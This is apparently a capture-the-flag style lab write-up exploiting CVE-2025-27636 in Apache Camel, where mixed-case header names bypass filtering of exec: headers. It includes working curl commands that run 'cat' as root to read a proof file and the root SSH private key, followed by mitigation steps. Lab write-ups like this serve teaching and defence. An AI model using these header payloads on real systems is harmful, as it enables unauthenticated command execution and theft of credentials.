CVE-2025-27636 — Apache Camel Header Casing RCE

PG-Practice: CVE-2025-27636 — Apache Camel Header Casing RCE

Service Enumeration

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Jetty 12.0.16
| http-methods:
|_  Potentially risky methods: PUT DELETE TRACE CONNECT PATCH
|_http-title: CamelHead - Desert Transport Solutions

Enumeration

The target is running Apache Camel v4.1.0, disclosed in the page footer. Apache Camel is a Java-based integration framework that routes messages between components using Enterprise Integration Patterns (EIPs).

Tech Stack

The target web service is Jetty 12.0.16 — a Java-based web server and servlet container.

Accessing the /command-center endpoint returns a plain response: root — suggesting potential server-side command execution or a misconfigured route.

Directory Brute-Forcing

Directory brute-forcing revealed only a single endpoint: /command-center.

Vulnerability Identification

Research on Apache Camel v4.1.0 identified a public PoC:

akamai/CVE-2025-27636-Apache-Camel-PoC

Apache Camel's exec: component enables OS command execution through HTTP headers such as CamelExecCommandExecutable. However, due to improper normalization of header casing, filters intended to block dangerous headers can be bypassed using mixed-case variants like CAMelExecCommandExecUtable.

This allows unauthenticated attackers to achieve Remote Code Execution by supplying arbitrary OS commands through manipulated header names.

Headers of interest:

Exploitation

The process was confirmed to be running as root. Argument passing initially failed — reviewed Camel's documentation to identify the correct header for passing arguments.

Reading /root/proof.txt via header injection:

curl http://192.168.137.120/command-center \
  -H "CAMelExecCommandExecUtable: cat" \
  -H "camElExeccomMandArGs: /root/proof.txt"

Further Escalation

Extracted the root SSH private key:

curl http://192.168.137.120/command-center \
  -H "CAMelExecCommandExecUtable: cat" \
  -H "camElExeccomMandArGs: /root/.ssh/id_rsa"

Mitigation

• Upgrade Apache Camel to the latest patched version.
• Implement strict firewall rules to limit exposure of internal services.
• Apply strict header input sanitization and validation at the framework level — normalize all incoming header names before processing.

References

• GitHub PoC — akamai/CVE-2025-27636
• Apache Camel exec: component documentation